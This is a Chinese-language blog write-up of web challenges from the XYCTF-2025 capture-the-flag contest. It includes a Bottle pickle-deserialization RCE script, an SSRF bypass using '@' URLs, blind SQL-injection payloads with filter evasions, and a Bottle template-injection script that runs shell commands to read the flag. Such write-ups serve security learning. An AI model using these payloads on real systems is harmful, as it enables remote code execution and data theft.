XYCTF-2025 web

OneZ3r0 Lv4

SignIn

./..//..//..//读文件
secret="Hell0_H@cker_Y0u_A3r_Sm@r7"

bottle session pickle反序列化
找了很多文章,一直卡在远程rce这步,本地都能打通,很奇怪

https://subuthax.github.io/writeup/projectsekai-bottle-poem/
https://cloud.tencent.com/developer/article/2204068
https://lebr0nli.github.io/blog/security/SekaiCTF-2022/#bottle-poem-web
https://blog.csdn.net/qq_38338511/article/details/141653297

无回显写入文件

1
2
3
4
5
6
7
8
9
10
11
12
13
from bottle import cookie_encode

secret = "Hell0_H@cker_Y0u_A3r_Sm@r7"

class PickleRce:
def __reduce__(self):
# return (eval, ('__import__("os").popen("ls / > ls.txt").read()',))
return (eval, ('__import__("os").popen("cat /flag_dda2d465-af33-4c56-8cc9-fd4306867b70 > flag.txt").read()',))

# payload = cookie_encode(("name", {"name": "admin"}), secret) # 可以测试admin看看回显对不对
payload = cookie_encode(("name", {"name": PickleRce()}), secret)

print(payload.decode('utf-8'))

GET /download?filename=./ls.txt拿flag_uuid文件名

GET /download?filename=./flag.txt

flag{We1c0me_t0_XYCTF_2o25!The_secret_1s_L@men7XU_L0v3_u!}

Fate

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
#!/usr/bin/env python3
# 指定使用Python 3解释器执行本脚本

# 导入所需库
import flask # Flask网页框架
import sqlite3 # SQLite数据库操作
import requests # HTTP请求库
import string # 字符串处理工具
import json # JSON解析库

# 创建Flask应用实例
app = flask.Flask(__name__)

# 定义黑名单包含所有ASCII字母(a-z, A-Z)
blacklist = string.ascii_letters

# 二进制字符串转普通字符串函数
def binary_to_string(binary_string):
# 检查二进制字符串长度是否为8的倍数(完整字节)
if len(binary_string) % 8 != 0:
raise ValueError("二进制字符串长度必须是8的倍数")
# 将二进制字符串按8位一组分割
binary_chunks = [binary_string[i:i+8] for i in range(0, len(binary_string), 8)]
# 将每组8位二进制转换为对应ASCII字符
string_output = ''.join(chr(int(chunk, 2)) for chunk in binary_chunks)
return string_output

# 定义/proxy路由,仅允许GET请求
@app.route('/proxy', methods=['GET'])
def nolettersproxy():
# 从请求参数获取url值
url = flask.request.args.get('url')
if not url:
return flask.abort(400, '未提供URL') # 无URL参数返回400错误

# 拼接目标URL(固定域名前缀)
target_url = "http://lamentxu.top" + url
# 检查URL是否包含黑名单字母
for i in blacklist:
if i in url:
return flask.abort(403, '我屏蔽了整个字母表,哈哈哈~~~~~~')
# 防止SSRF攻击(禁止包含点号)
if "." in url:
return flask.abort(403, '禁止SSRF')
# 向目标URL发起请求
response = requests.get(target_url)
# 返回响应内容和状态码
return flask.Response(response.content, response.status_code)

# 数据库查询函数
def db_search(code):
# 连接SQLite数据库
with sqlite3.connect('database.db') as conn:
cur = conn.cursor()
# 执行SQL查询(对输入值应用7层UPPER函数)
cur.execute(f"SELECT FATE FROM FATETABLE WHERE NAME=UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER('{code}')))))")
found = cur.fetchone() # 获取查询结果
# 结果为空返回None,否则返回第一列值
return None if found is None else found[0]

# 根路由
@app.route('/')
def index():
# 打印客户端IP到控制台
print(flask.request.remote_addr)
# 渲染并返回index.html模板
return flask.render_template("index.html")

# 定义/1337路由,仅允许GET请求
@app.route('/1337', methods=['GET'])
def api_search():
# 只允许本地访问(IP为127.0.0.1)
if flask.request.remote_addr == '127.0.0.1':
# 获取参数0的值
code = flask.request.args.get('0')
# 检查参数0是否为特定字符串
if code == 'abcdefghi':
# 获取参数1的值(二进制字符串)
req = flask.request.args.get('1')
try:
# 二进制转字符串
req = binary_to_string(req)
print(req) # 打印解码后的字符串
# 将字符串解析为JSON对象
req = json.loads(req) # 注释声称JSON比pickle更安全
except:
flask.abort(400, "无效的JSON格式")
# 检查JSON是否包含name字段
if 'name' not in req:
flask.abort(400, "姓名为空")

# 获取姓名值
name = req['name']
# 验证姓名长度
if len(name) > 6:
flask.abort(400, "姓名过长")
# 防止SQL注入(禁止单引号)
if '\'' in name:
flask.abort(400, "禁止单引号")
# 防止SQL注入(禁止右括号)
if ')' in name:
flask.abort(400, "禁止右括号")
"""
这里有隐藏的WAF规则 ;)
"""

# 数据库查询姓名对应的命运
fate = db_search(name)
if fate is None:
flask.abort(404, "查无此人")

# 返回命运结果(JSON格式)
return {'Fate': fate}
else:
flask.abort(400, "你好本地用户,以及黑客朋友")
else:
flask.abort(403, "仅允许本地访问")

# 当脚本直接运行时启动应用
if __name__ == '__main__':
app.run(debug=True) # 启用调试模式运行

ssrf使用HTTP基本认证格式绕过即可
https://username:password@URL,如https://localhost:10011@locahost:10011/flag

1
url=@[::1]:8080/1337
1
GET /proxy?url=@0:8080/1337?0=%25%36%31%25%36%32%25%36%33%25%36%34%25%36%35%25%36%36%25%36%37%25%36%38%25%36%39%261=

需要传入参数0和参数1,前面需要二次url编码,%26为&

【ezsql(手动滑稽)】

用单引号闭合可以测试出username处可以注入,password处貌似是预编译的,只会嘎嘎报错,无法注入
username,fuzz测试结果如下

image-20250407180139054
image-20250407180139054

过滤了, union 空格等,显然不能用联合注入,报错注入等需要用到,的情形
而且都没有回显,加上貌似是预编译的sql语句处理,所以堆叠注入也不行,大概率就只剩下盲注了

相关过滤的话:就用tab(%09)绕过空格,from for绕过逗号

试了下时间盲注可以'or(sleep(2))#,但是一般要结合if使用,而if(expression,sleep(2),1)无法使用from for来绕过,像substr这种才支持

尝试布尔盲注,回显有不同!false的话会返回帐号或密码错误

1
2
'or%091=1#
'or%091=2#

那我们就可以构造

1
' or ascii(substr({query}) from {index} for 1)>1 #

出题人已疯&又疯

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# -*- encoding: utf-8 -*-
'''
@File : app.py
@Time : 2025/03/29 15:52:17
@Author : LamentXU
'''
import bottle
'''
flag in /flag
'''
@bottle.route('/')
def index():
return 'Hello, World!'
blacklist = [
'o', '\\', '\r', '\n', 'import', 'eval', 'exec', 'system', ' ', ';' , 'read'
]
@bottle.route('/attack')
def attack():
payload = bottle.request.query.get('payload')
if payload and len(payload) < 25 and all(c not in payload for c in blacklist):
print(payload)
return bottle.template('hello '+payload)
else:
bottle.abort(400, 'Invalid payload')
if __name__ == '__main__':
bottle.run(host='0.0.0.0', port=5000)

这里贴的是又疯的源码
如果没有waf就往os里面塞字符即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests
url='http://gz.imxbt.cn:20359/attack'

payload="__import__('os').system('cat /flag >1234')"
p=[payload[i:i+4] for i in range(0,len(payload),4)]
flag=True
for i in p:
if flag:
tmp=f'\n%import os;os.b="{i}"'
flag=False
else:
tmp=f'\n%import os;os.b+="{i}"'
r=requests.get(url,params={"payload":tmp})
r=requests.get(url,params={"payload":"\n%import os;eval(os.b)"})
r=requests.get(url,params={"payload":"\n%include('1234')"}).text
print(r)

有waf的话就利用编码和解析的特性绕过 Bottle框架的ssti、内存马、污染深入浅出 这篇文章讲得很好,不再赘述

/attack?payload={{%BApen(%27/flag%27).read()}}即可

  • 标题: XYCTF-2025 web
  • 作者: OneZ3r0
  • 创建于 : 2025-04-04 10:34:34
  • 更新于 : 2026-05-05 21:32:50
  • 链接: https://blog.onez3r0.top/2025/04/04/xyctf-2025/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。